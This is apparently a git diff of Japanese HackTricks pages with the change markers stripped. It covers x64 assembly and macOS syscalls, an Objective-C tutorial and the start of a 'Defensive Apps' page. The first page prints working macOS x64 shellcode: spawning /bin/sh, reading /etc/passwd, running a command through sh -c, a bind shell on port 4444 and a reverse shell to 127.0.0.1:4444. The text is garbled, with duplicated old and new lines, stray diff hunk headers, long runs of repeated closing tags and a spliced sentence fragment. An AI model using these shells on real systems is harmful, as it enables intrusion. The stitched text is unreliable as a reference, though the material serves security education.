- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **x64への導入**
## **Introduction to x64**
x64、またはx86-64としても知られる64ビットプロセッサアーキテクチャは、主にデスクトップおよびサーバーコンピューティングで使用されています。Intelによって生産されたx86アーキテクチャから派生し、後にAMDがAMD64という名前で採用したもので、現在は個人コンピュータやサーバーで一般的なアーキテクチャです。
x64、またはx86-64としても知られる、は主にデスクトップおよびサーバーコンピューティングで使用される64ビットプロセッサアーキテクチャです。Intelによって製造されたx86アーキテクチャに由来し、後にAMDによってAMD64という名前で採用され、現在のパーソナルコンピュータやサーバーで広く使用されています。
### **レジスタ**
### **Registers**
x64はx86アーキテクチャを拡張し、`rax`、`rbx`、`rcx`、`rdx`、`rbp`、`rsp`、`rsi`、`rdi`、`r8`から`r15`までの**16個の汎用レジスタ**を備えています。これらの各レジスタは**64ビット**8バイトの値を格納できます。これらのレジスタには、互換性と特定のタスクのため32ビット、16ビット、8ビットのサブレジスタもあります。
x64はx86アーキテクチャを拡張し、**16の汎用レジスタ**を持ち、`rax`、`rbx`、`rcx`、`rdx`、`rbp`、`rsp`、`rsi`、`rdi`、および`r8`から`r15`までのラベルが付けられています。これらの各レジスタは**64ビット**8バイトの値を格納できます。これらのレジスタには、互換性と特定のタスクのため32ビット、16ビット、8ビットのサブレジスタもあります。
1. **`rax`** - 通常、関数からの**戻り値**に使用されます。
2. **`rbx`** - メモリ操作の**ベースレジスタ**としてよく使用されます。
2. **`rbx`** - メモリ操作のための**ベースレジスタ**としてよく使用されます。
3. **`rcx`** - **ループカウンタ**として一般的に使用されます。
4. **`rdx`** - 拡張算術演算を含むさまざまな役割で使用されます。
5. **`rbp`** - スタックフレームの**ベースポインタ**。
6. **`rsp`** - スタックのトップを追跡する**スタックポインタ**
7. **`rsi`**および**`rdi`** - 文字列/メモリ操作の**ソース**および**宛先**インデックスに使用されます。
8. **`r8`** から **`r15`** - x64で導入された追加の汎用レジスタ。
6. **`rsp`** - **スタックポインタ**、スタックのトップを追跡します
7. **`rsi`**と**`rdi`** - 文字列/メモリ操作における**ソース**および**デスティネーション**インデックスに使用されます。
8. **`r8`**から**`r15`** - x64で導入された追加の汎用レジスタ。
### **呼び出し規約**
### **Calling Convention**
x64の呼び出し規約はオペレーティングシステムによって異なります。例えば
- **Windows**: 最初の**4つのパラメータ**はレジスタ**`rcx`**、**`rdx`**、**`r8`**、**`r9`**に渡されます。それ以降のパラメータはスタックにプッシュされます。戻り値は**`rax`**に格納されます。
- **System VUNIXライクなシステムで一般的に使用される)**: 最初の**6つの整数またはポインタパラメータ**はレジスタ**`rdi`**、**`rsi`**、**`rdx`**、**`rcx`**、**`r8`**、**`r9`**に渡されます。戻り値も**`rax`**にあります。
* **Windows**: 最初の**4つのパラメータ**はレジスタ**`rcx`**、**`rdx`**、**`r8`**、および**`r9`**に渡されます。さらにパラメータはスタックにプッシュされます。戻り値は**`rax`**にあります。
* **System VUNIX系システムで一般的に使用される)**: 最初の**6つの整数またはポインタパラメータ**はレジスタ**`rdi`**、**`rsi`**、**`rdx`**、**`rcx`**、**`r8`**、および**`r9`**に渡されます。戻り値も**`rax`**にあります。
関数に6つ以上の入力がある場合、**残りはスタックに渡されます**。スタックポインタである**RSP**は**16バイトに整列**されている必要があります。つまり、呼び出しが発生する前に指すアドレスが16で割り切れる必要があります。通常、私たちは関数呼び出し前にシェルコード内でRSPが適切に整列されていることを確認する必要があります。ただし、実際には、この要件を満たさなくてもシステムコールは多くの場合動作します。
関数に6つ以上の入力がある場合、**残りはスタックに渡されます**。**RSP**、スタックポインタは**16バイトアライン**されている必要があり、これは呼び出しが行われる前に指すアドレスが16で割り切れる必要があることを意味します。これは通常、関数呼び出しを行う前に、私たちのシェルコードでRSPが適切にアラインされていることを確認する必要があることを意味します。しかし、実際には、この要件が満たされていなくてもシステムコールは多くの場合機能します。
### Swiftにおける呼び出し規約
### Calling Convention in Swift
Swiftには独自の**呼び出し規約**があり、[**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64)で見つけることができます。
Swiftには独自の**呼び出し規約**があり、[**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64)で確認できます。
### **一般的な命令**
### **Common Instructions**
x64命令は、以前のx86命令との互換性を維持し、新しい命令を導入する豊富なセットがあります。
x64命令は豊富なセットを持ち、以前のx86命令との互換性を維持し、新しい命令を導入しています。
- **`mov`**: 1つの**レジスタ**または**メモリ位置**から別の場所に値を**移動**します。
- 例: `mov rax, rbx``rbx`から`rax`に値を移動します。
- **`push`**および**`pop`**: スタックに値を**プッシュ**または**ポップ**します。
- 例: `push rax``rax`の値をスタックにプッシュします。
- 例: `pop rax` — スタックのトップの値を`rax`にポップします。
- **`add`**および**`sub`**: **加算**および**減算**演算
- 例: `add rax, rcx``rax`と`rcx`の値を加算し、結果を`rax`に格納します。
- **`mul`**および**`div`**: **乗算**および**除算**演算。注:これらはオペランドの使用に関する特定の動作があります。
- **`call`**および**`ret`**: 関数の**呼び出し**および**戻り**に使用されます。
- **`int`**: ソフトウェア**割り込み**をトリガーするために使用されます。例: 32ビットx86 Linuxでは、システムコールに`int 0x80`が使用されました。
- **`cmp`**: 2つの値を比較し、結果に基づいてCPUのフラグを設定します。
- 例: `cmp rax, rdx``rax`を`rdx`と比較します。
- **`je`、`jne`、`jl`、`jge`、...**: **条件付きジャンプ**命令で、前の`cmp`またはテストの結果に基づいて制御フローを変更します。
- 例: `cmp rax, rdx`命令の後、`je label` — `rax`が`rdx`と等しい場合、`label`にジャンプします。
- **`syscall`**: 一部のx64システム現代のUnixなどで**システムコール**に使用されます。
- **`sysenter`**: 一部のプラットフォームで最適化された**システムコール**命令です
* **`mov`**: ある**レジスタ**または**メモリ位置**から別の場所に値を**移動**します。
* 例: `mov rax, rbx``rbx`から`rax`に値を移動します。
* **`push`**と**`pop`**: **スタック**に値をプッシュまたはポップします。
* 例: `push rax``rax`の値をスタックにプッシュします。
* 例: `pop rax` — スタックのトップの値を`rax`にポップします。
* **`add`**と**`sub`**: **加算**および**減算**操作
* 例: `add rax, rcx``rax`と`rcx`の値を加算し、結果を`rax`に格納します。
* **`mul`**と**`div`**: **乗算**および**除算**操作。注意: これらはオペランドの使用に関して特定の動作を持ちます。
* **`call`**と**`ret`**: 関数を**呼び出す**および**戻る**ために使用されます。
* **`int`**: ソフトウェアの**割り込み**をトリガーするために使用されます。例: `int 0x80`32ビットx86 Linuxでシステムコールに使用されました。
* **`cmp`**: 2つの値を**比較**し、結果に基づいてCPUのフラグを設定します。
* 例: `cmp rax, rdx``rax`を`rdx`と比較します。
* **`je`, `jne`, `jl`, `jge`, ...**: 前の`cmp`またはテストの結果に基づいて制御フローを変更する**条件付きジャンプ**命令
* 例: `cmp rax, rdx`命令の後、`je label` — `rax`が`rdx`と等しい場合、`label`にジャンプします。
* **`syscall`**: 一部のx64システム現代のUnixなど**システムコール**に使用されます。
* **`sysenter`**: 一部のプラットフォームで最適化された**システムコール**命令。
### **関数プロローグ**
### **Function Prologue**
1. **古いベースポインタをプッシュ**: `push rbp`(呼び出し元のベースポインタを保存)
2. **現在のスタックポインタをベースポインタに移動**: `mov rbp, rsp`(現在の関数の新しいベースポインタを設定)
3. **ローカル変数のためにスタック上にスペースを確保**: `sub rsp, <size>``<size>`は必要なバイト数です
2. **現在のスタックポインタをベースポインタに移動**: `mov rbp, rsp`(現在の関数のための新しいベースポインタを設定)
3. **ローカル変数のためにスタックにスペースを割り当てる**: `sub rsp, <size>``<size>`は必要なバイト数)
### **関数エピローグ**
### **Function Epilogue**
1. **現在のベースポインタをスタックポインタに移動**: `mov rsp, rbp`(ローカル変数を解放)
2. **古いベースポインタをスタックからポップ**: `pop rbp`(呼び出し元のベースポインタを復元)
3. **戻る**: `ret`(呼び出し元に制御を返す)
3. **戻る**: `ret`(呼び出し元に制御を戻す)
## macOS
### システムコール
### syscalls
異なるクラスのシステムコールがあります、[**こちらで見つけることができます**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
さまざまなクラスのsyscallがあり、[**ここで見つけることができます**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
```c
#define SYSCALL_CLASS_NONE 0 /* Invalid */
#define SYSCALL_CLASS_MACH 1 /* Mach */
@ -89,7 +91,7 @@ x64命令には、以前のx86命令との互換性を維持し、新しい命
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
```
次に、[**このURL**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)で各システムコール番号を見つけることができます。
次に、各システムコール番号を[**このURL**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**で見つけることができます:**
```c
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
1 AUE_EXIT ALL { void exit(int rval); }
@ -106,13 +108,13 @@ x64命令には、以前のx86命令との互換性を維持し、新しい命
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
[...]
```
したがって、**Unix/BSDクラス**から`open`シスコール(**5**)を呼び出すためには、`0x2000000`を追加する必要があります。
そのため、**Unix/BSDクラス**から`open`システムコール(**5**)を呼び出すには、次のように追加する必要があります:`0x2000000`
したがって、openを呼び出すためのシスコール番号は`0x2000005`になります。
したがって、`open`を呼び出すためのシステムコール番号は`0x2000005`になります。
### シェルコード
コンパイルするには:
コンパイルするには
{% code overflow="wrap" %}
```bash
@ -121,7 +123,7 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
```
{% endcode %}
バイトを抽出するには:
バイトを抽出するには
{% code overflow="wrap" %}
```bash
@ -187,10 +189,10 @@ return 0;
#### シェル
[**こちら**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)から取得し、説明ます。
[**こちら**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)から取得し、説明されています。
{% tabs %}
{% tab title="with adr" %}
{% tab title="adrを使用" %}
```armasm
bits 64
global _main
@ -207,7 +209,7 @@ syscall
```
{% endtab %}
{% tab title="スタックを使用して" %}
{% tab title="スタックを使用" %}
```armasm
bits 64
global _main
@ -223,9 +225,12 @@ pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
#### catコマンドで読み取る
{% endtab %}
{% endtabs %}
目標は、`execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`を実行することです。したがって、2番目の引数x1はパラメータの配列でなければなりませんメモリ内では、これらはアドレスのスタックを意味します
#### catで読む
目的は`execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`を実行することであり、第二引数x1はパラメータの配列ですこれはメモリ内ではアドレスのスタックを意味します
```armasm
bits 64
section .text
@ -256,7 +261,7 @@ section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
```
#### shを使用してコマンドを呼び出す
#### shを使てコマンドを呼び出す
```armasm
bits 64
section .text
@ -294,9 +299,9 @@ sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
```
#### バインドシェル
#### Bind shell
バインドシェルは[https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html)から**ポート4444**で提供されます。
**ポート 4444** の [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) からの Bind shell
```armasm
section .text
global _main
@ -373,7 +378,7 @@ syscall
```
#### リバースシェル
[https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html) からのリバースシェル。**127.0.0.1:4444** へのリバースシェル
リバースシェルは [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html) から。リバースシェルは **127.0.0.1:4444** へ。
```armasm
section .text
global _main
@ -435,16 +440,17 @@ mov rax, r8
mov al, 0x3b
syscall
```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,36 +1,52 @@
# macOS Objective-C
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## Objective-C
{% hint style="danger" %}
Objective-Cで書かれたプログラムは、[Mach-Oバイナリ](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)にコンパイルされるときに、クラス宣言を**保持**します。このようなクラス宣言には、以下が含まれます:
Objective-Cで書かれたプログラムは、[Mach-Oバイナリ](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)にコンパイルされるときに、クラス宣言を**保持**します。このようなクラス宣言には、以下の名前とタイプが**含まれます**:
{% endhint %}
* クラス
* クラスメソッド
* クラスのインスタンス変数
{% endhint %}
* クラスインスタンス変数
[class-dump](https://github.com/nygard/class-dump)を使用して、この情報を取得できます:
この情報は、[**class-dump**](https://github.com/nygard/class-dump)を使用して取得できます:
```bash
class-dump Kindle.app
```
## クラス、メソッド&オブジェクト
この名前は、バイナリのリバースエンジニアリングをより困難にするために難読化される可能性があることに注意してください。
### インターフェース、プロパティ&メソッド
## クラス、メソッド & オブジェクト
### インターフェース、プロパティ & メソッド
```objectivec
// Declare the interface of the class
@interface MyVehicle : NSObject
@ -61,9 +77,9 @@ self.numberOfWheels += value;
@end
```
### **オブジェクトと呼び出しメソッド**
### **オブジェクトとメソッドの呼び出し**
クラスのインスタンスを作成するには、**`alloc`** メソッドが呼び出され、それぞれの**プロパティにメモリを割り当て**、その割り当てを**ゼロ**にします。その後、**`init`** が呼び出され、プロパティを**必要な値**で**初期化**します。
クラスのインスタンスを作成するために、**`alloc`** メソッドが呼び出され、各 **プロパティ** のために **メモリが割り当てられ**、その割り当てが **ゼロ** にされます。次に **`init`** が呼び出され、**プロパティ** が **必要な値****初期化** されます。
```objectivec
// Something like this:
MyVehicle *newVehicle = [[MyVehicle alloc] init];
@ -77,13 +93,13 @@ MyVehicle *newVehicle = [MyVehicle new];
```
### **クラスメソッド**
クラスメソッドは、インスタンスメソッドで使用されるハイフン-)ではなく、**プラス記号(+**で定義されます。例えば、**NSString** クラスの **`stringWithString`** メソッド:
クラスメソッドは、インスタンスメソッドで使用されるハイフン (-) ではなく、**プラス記号** (+) で定義されます。**NSString** クラスメソッド **`stringWithString`** のように:
```objectivec
+ (id)stringWithString:(NSString *)aString;
```
### Setter & Getter
プロパティを**設定****取得**するには、**ドット表記**または**メソッドを呼び出す**かのように行うことができます:
プロパティを**設定**および**取得**するには、**ドット表記**を使用するか、**メソッドを呼び出す**ように行うことができます:
```objectivec
// Set
newVehicle.numberOfWheels = 2;
@ -95,7 +111,7 @@ NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]);
```
### **インスタンス変数**
セッターとゲッターメソッドの代わりに、インスタンス変数を使用することもできます。これらの変数は、プロパティと同じ名前を持ちますが、"\_"から始まります:
setter & getter メソッドの代わりにインスタンス変数を使用できます。これらの変数はプロパティと同じ名前ですが、"\_" で始まります:
```objectivec
- (void)makeLongTruck {
_numberOfWheels = +10000;
@ -104,9 +120,9 @@ NSLog(@"Number of wheels: %i", self.numberOfLeaves);
```
### プロトコル
プロトコルはメソッド宣言のセットです(プロパティなし)。プロトコルを実装するクラスは、宣言されたメソッドを実装します。
プロトコルはメソッド宣言のセット(プロパティなし)です。プロトコルを実装するクラスは、宣言されたメソッドを実装します。
メソッドには**必須**と**オプション**の2種類があります。**デフォルト**ではメソッドは**必須**です(`@required`タグで示すこともできます)。メソッドがオプションであることを示すには、**`@optional`**を使用します。
メソッドには2種類あります**必須**と**オプション**。**デフォルト**ではメソッドは**必須**です(ただし、**`@required`**タグで示すこともできます)。メソッドがオプションであることを示すには、**`@optional`**を使用します。
```objectivec
@protocol myNewProtocol
- (void) method1; //mandatory
@ -116,7 +132,7 @@ NSLog(@"Number of wheels: %i", self.numberOfLeaves);
- (void) method3; //optional
@end
```
### すべて一緒
### すべて一緒
```objectivec
// gcc -framework Foundation test_obj.m -o test_obj
#import <Foundation/Foundation.h>
@ -179,7 +195,7 @@ NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUT
```
{% endcode %}
基本的なクラスは**不変**なので、既存の文字列に文字列を追加するには**新しい NSString を作成する必要があります**。
基本クラスは**不変**であるため、既存の文字列に文字列を追加するには**新しいNSStringを作成する必要があります**。
{% code overflow="wrap" %}
```objectivec
@ -187,7 +203,7 @@ NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published
```
{% endcode %}
また、**mutable**文字列クラスを使用することもできます
また、**mutable** 文字列クラスを使用することもできます:
{% code overflow="wrap" %}
```objectivec
@ -198,7 +214,7 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]
[mutableString appendString:@" and published in "];
[mutableString appendString:bookPublicationYear];
```
#### 数
#### 数
{% code overflow="wrap" %}
```objectivec
@ -219,9 +235,9 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble:
NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES]
NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO]
```
#### 配列、セット、およびディクショナリ
#### 配列、セット & 辞書
{% endcode %}
{% code overflow="wrap" %}
```objectivec
// Inmutable arrays
NSArray *colorsArray1 = [NSArray arrayWithObjects:@"red", @"green", @"blue", nil];
@ -267,9 +283,13 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW
[mutFruitColorsDictionary setObject:@"green" forKey:@"apple"];
[mutFruitColorsDictionary removeObjectForKey:@"grape"];
```
{% endcode %}
### ブロック
ブロックはオブジェクトとして振る舞う関数のことで、関数に渡したり、配列や辞書に格納したりできます。また、値が与えられた場合には値を表すことができるため、ラムダに似ています。
ブロックは**オブジェクトとして振る舞う関数**であるため、関数に渡したり、**配列**や**辞書**に**格納**することができます。また、値が与えられた場合には**値を表すことができる**ため、ラムダに似ています。
{% code overflow="wrap" %}
```objectivec
returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){
//Perform operations here
@ -284,7 +304,7 @@ NSLog(@"3+4 = %d", suma(3,4));
```
{% endcode %}
**関数で使用するためにブロックタイプを定義することも可能です:**
関数のパラメータとして使用するために**ブロックタイプを定義する**ことも可能です:
```objectivec
// Define the block type
typedef void (^callbackLogger)(void);
@ -335,31 +355,47 @@ NSLog(@"Removed successfully");
```
{% endcode %}
**`NSString`** オブジェクトの代わりに **`NSURL`** オブジェクトを使用してファイルを管理することも可能です。メソッド名はていますが、**`Path`** の代わりに **`URL`** が使われています。
ファイルを**`NSString`オブジェクトの代わりに`NSURL`オブジェクトを使用して管理する**ことも可能です。メソッド名は似ていますが、**`Path`の代わりに`URL`**が使われています。
```objectivec
NSURL *fileSrc = [NSURL fileURLWithPath:@"/path/to/file1.txt"];
NSURL *fileDst = [NSURL fileURLWithPath:@"/path/to/file2.txt"];
[fileManager moveItemAtURL:fileSrc toURL:fileDst error: nil];
```
ほとんどの基本クラスには、直接ファイルに書き込むことができる`writeToFile:<path> atomically:<YES> encoding:<encoding> error:nil`メソッドが定義されています:
{% code overflow="wrap" %}
```objectivec
NSString* tmp = @"something temporary";
[tmp writeToFile:@"/tmp/tmp1.txt" atomically:YES encoding:NSASCIIStringEncoding error:nil];
```
{% endcode %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,41 +1,43 @@
# macOS 防御アプリ
# macOS Defensive Apps
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする**.**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
